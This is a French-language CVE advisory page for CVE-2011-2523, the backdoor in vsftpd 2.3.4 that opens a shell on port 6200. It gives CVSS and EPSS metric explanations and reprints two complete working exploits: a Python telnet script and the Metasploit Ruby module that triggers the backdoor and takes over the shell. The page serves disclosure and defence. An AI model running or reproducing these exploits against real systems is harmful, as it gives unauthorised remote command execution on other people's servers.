CVE-2011-2523 : Détail

CVE-2011-2523

9.8
/
Critique
OS Command Injection
A03-Injection
39.5%V3
Network
2019-11-27
19h36 +00:00
2021-04-12
15h06 +00:00
CVE.org
NVD
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Descriptions du CVE

vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 49757

Date de publication : 2021-04-11 22h00 +00:00
Auteur : HerculesRD
EDB Vérifié : Yes

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution # Date: 9-04-2021 # Exploit Author: HerculesRD # Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html # Version: vsftpd 2.3.4 # Tested on: debian # CVE : CVE-2011-2523 #!/usr/bin/python3 from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0) signal(SIGINT, handler) parser=argparse.ArgumentParser() parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args() host = args.host portFTP = 21 #if necessary edit this line user="USER nergal:)" password="PASS pass" tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n") tn2=Telnet(host, 6200) print('Success, shell opened') print('Send `exit` to quit shell') tn2.interact()
Exploit Database EDB-ID : 17491

Date de publication : 2011-07-04 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011. }, 'Author' => [ 'hdm', 'mc' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13099 $', 'References' => [ [ 'URL', 'http://pastebin.com/AetT9sS5'], [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ], ], 'Privileged' => true, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jul 3 2011', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(21) ], self.class) end def exploit nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_status("The port used by the backdoor bind listener is already open") handle_backdoor(nsock) return end # Connect to the FTP service port first connect banner = sock.get_once(-1, 30).to_s print_status("Banner: #{banner.strip}") sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp = sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}") if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") disconnect return end if resp !~ /^331 / print_error("This server did not respond as expected: #{resp.strip}") disconnect return end sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n") # Do not bother reading the response from password, just try the backdoor nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end disconnect end def handle_backdoor(s) s.put("id\n") r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("The service on port 6200 does not appear to be a shell") disconnect(s) return end print_good("UID: #{r.strip}") s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end end

Products Mentioned

Configuraton 0

Vsftpd_project>>Vsftpd >> Version 2.3.4

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

Références

https://www.openwall.com/lists/oss-security/2011/07/11/5
Tags : mailing-list, x_refsource_MLIST